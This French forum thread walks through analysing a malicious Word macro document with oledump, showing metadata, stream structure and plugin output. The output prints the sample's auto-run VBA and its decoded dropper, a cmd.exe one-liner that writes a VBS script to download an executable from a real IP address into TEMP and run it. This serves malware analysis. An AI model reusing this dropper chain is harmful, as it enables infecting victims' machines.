XLS/DOC malveillants : analyser les flux de documents OLE

ѠOOT

XLS/DOC malveillants : analyser les flux de documents OLE

par ѠOOT »

Bonjour,

En février dernier, dans Documents XLS malveillants : macros-commandes VBA+PowerShell était introduit la notion de flux de documents OLE. Parmi les excellents outils dédiés à ces tâches figure oledump de Didier Stevens, écrit en Python, il fonctionne sous Windows & Linux. Pour vous illustrer son usage, j'ai sélectionné Trojan.MSWord.Agent.ai qui était détecté à 0% au moment de son ajout sur MDB. Tout d'abord, il convient de lister les informations relatives au document ainsi que sa structure.


→ Afficher les métadonnées du document
oledump.py -M "57504458.doc"

Properties SummaryInformation:
codepage: 1251 ANSI Cyrillic; Cyrillic (Windows)
author: 1
template: Normal.dot
last_saved_by: 435435435
revision_number: 55
total_edit_time: 42960
create_time: 2015-03-19 04:08:00
last_saved_time: 2015-03-19 16:18:00
num_pages: 1
num_words: 1
num_chars: 10
creating_application: Microsoft Office Word
security: 0

Properties DocumentSummaryInformation:
codepage_doc: 1251 ANSI Cyrillic; Cyrillic (Windows)
lines: 1
paragraphs: 1
scale_crop: False
company: ЛРларвпиоИДАвр
links_dirty: False
chars_with_spaces: 10
shared_doc: False
hlinks_changed: False
version: 730895



→ Afficher les infos structurelles
oledump.py -i "57504458.doc"

1: 113 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 4096 '1Table'
5: 4096 'Data'
6: 538 'Macros/PROJECT'
7: 89 'Macros/PROJECTwm'
8: M 3397 'Macros/VBA/Module1'
9: M 2133 'Macros/VBA/Module2'
10: M 1103 'Macros/VBA/ThisDocument'

11: 2887 'Macros/VBA/_VBA_PROJECT'
12: 587 'Macros/VBA/dir'
13: 4142 'WordDocument'



A gauche, les index. La lettre M indique la présence de macros-commandes VBA.
Interroger individuellement les index 8, 9 & 10 n'est pas bien compliqué.
L'option -s indique l'index & l'option -v de décoder le VBA.

→ Afficher le VBA de "ThisDocument"
oledump.py -s 10 -v "57504458.doc"

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
sdf
End Sub


On note içi que le VBA est exécuté automatiquement à l'ouverture du document.
Je pourrais de même explorer "Module1" & "Module2", ... et pour aller à
l'essentiel, il suffit généralement d'afficher un résumé. L'option -p permet
de charger ses greffons.


→ Afficher un résumé à l'aide du greffon VBA
oledump.py -p plugin_vba_summary.py -q "57504458.doc"

Attribute VB_Name = "Module1"
Sub sdf()
sdfsdfff = df("636d642e657865202f6320406563686f2064696d2078487474703a20536574207
848747470203d206372656174656f626a65637428224d6963726f736f66742e584d4c48545450222
93e706f632e766273202620406563686f2064696d20625374726d3a2053657420625374726d203d2
06372656174656f626a656374282241646f64622e53747265616d22293e3e706f632e76627320262
0406563686f2078487474702e4f70656e2022474554222c2022687474703a2f2f37302e33322e383
42e34353a383038302f627a316773392f6b616e7370312e6a7067222c2046616c73653e3e706f632
e766273202620")
sdfvjhdsjf = df("406563686f2078487474702e53656e643e3e706f632e7662732026204065636
86f2053657420656e7669726f6e6d656e7456617273203d20575363726970742e4372656174654f6
26a6563742822575363726970742e5368656c6c22292e456e7669726f6e6d656e74282250726f636
5737322293e3e706f632e766273202620406563686f2074656d70466f6c646572203d20656e76697
26f6e6d656e7456617273282254454d5022293e3e706f632e766273202620406563686f2046696c6
56f70656e203d2074656d70466f6c646572202b20225c646673646666662e657865223e3e706f632
e766273202620406563686f207769746820625374726d3e3e706f632e766273202620406563686f2
02020202e74797065203d2031203e3e706f632e766273202620406563686f20202020202e6f70656
e3e3e706f632e766273202620406563686f20202020202e77726974652078487474702e726573706
f6e7365426f64793e3e706f632e766273202620")
sdfvdjhdsjf = df("406563686f20202020202e73617665746f66696c652046696c656f70656e2c
2032203e3e706f632e766273202620406563686f20656e6420776974683e3e706f632e7662732026
20406563686f205365742047424976697669753637465547424b203d204372656174654f626a6563
7428225368656c6c2e4170706c69636174696f6e22293e3e706f632e766273202620406563686f20
47424976697669753637465547424b2e4f70656e2046696c656f70656e3e3e706f632e7662732026
20637363726970742e65786520706f632e766273")
End Sub
Attribute VB_Name = "Module2"
Public Function df(ByVal tmitKavisPKoqVq As String) As String
nxwzPIEk = " LBDYPQ "
tqflJrOk = " JXCPJD "
UljWzvmD = " YKIQQC "
End Function
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Sub autoopen()
End Sub



Le greffon suivant est très pratique,

→ Rechercher heuristiquement la présence d'URLs dans le code VBA
oledump.py -p plugin_http_heuristics.py -q "57504458.doc"

Module1
cmd.exe /c @echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")>poc.vb
s & @echo dim bStrm: Set bStrm = createobject("Adodb.Stream")>>poc.vbs & @echo x
Http.Open "GET", "http://70.32.84.45:8080/bz1gs9/kansp1.jpg", False>>poc.vbs &
'@echo xHttp.Send>>poc.vbs & @echo Set environmentVars = WScript.CreateObject("W
Script.Shell").Environment("Process")>>poc.vbs & @echo tempFolder = environmentV
ars("TEMP")>>poc.vbs & @echo Fileopen = tempFolder + "\\dfsdfff.exe">>poc.vbs &
@echo with bStrm>>poc.vbs & @echo .type = 1 >>poc.vbs & @echo .open>>poc.
vbs & @echo .write xHttp.responseBody>>poc.vbs & '
@echo .savetofile Fileopen, 2 >>poc.vbs & @echo end with>>poc.vbs & @echo Se
t GBIviviu67FUGBK = CreateObject("Shell.Application")>>poc.vbs & @echo GBIviviu6
7FUGBK.Open Fileopen>>poc.vbs & cscript.exe poc.vbs


Charger ses greffons sans rendre instable oledump offre une bonne souplesse.
Bref, exactement ce qu'il faut pour s'adapter aux situations sur le terrain.

Ce n'est pas toujours aussi simple, il faut parfois remanier le code VBA ⑴

deobfuscating malicious vba macro with a few lines of Python ( Xavier Mertens // @xme )

edit: Ajouts de liens hypertextes vers nouvelles publications.

➱ ( 16 Feb 2015 ) ❴ Banking malware VAWTRAK now uses malicious macros, abuses Windows PowerShell
➱ ( 20 Apr 2015 ) ❴ Without a Trace : Fileless Malware Spotted in the Wild
➱ ( 24 Mar 2015 ) ❴Macro-based malware increases along with spam volume, now drops BARTALEX
➱ ( 27 Apr 2015 ) ❴Enterprises hit by BARTALEX macro malware in recent spam outbreak
➱ ( 28 Apr 2015 ) ❴ Social engineering tricks open the door to macro-malware attacks
➱ ( 4 May 2015 ) ❴ Macro Malware: When Old Tricks Still Work, Part 1
➱ ( 7 May 2015 ) ❴ Macro Malware: When Old Tricks Still Work, Part 2
➱ ( 11 May 2015 ) ❴ Attackers Hide Malicious Macros in MHTML Documents
➱ ( 16 June 2016 ) ❴ Malware authors are now using OLE embedding to deliver malicious files
Dernière modification par ѠOOT le 15 mai 2015 23:27, modifié 5 fois.
Malekal_morte
Messages : 116656
Inscription : 10 sept. 2005 13:57

Re: XLS/DOC malveillants : analyser les flux de documents OL

par Malekal_morte »

terrible PDT_001
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
Malekal_morte
Messages : 116656
Inscription : 10 sept. 2005 13:57

Re: XLS/DOC malveillants : analyser les flux de documents OL

par Malekal_morte »

Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Tech, Tips & Tricks »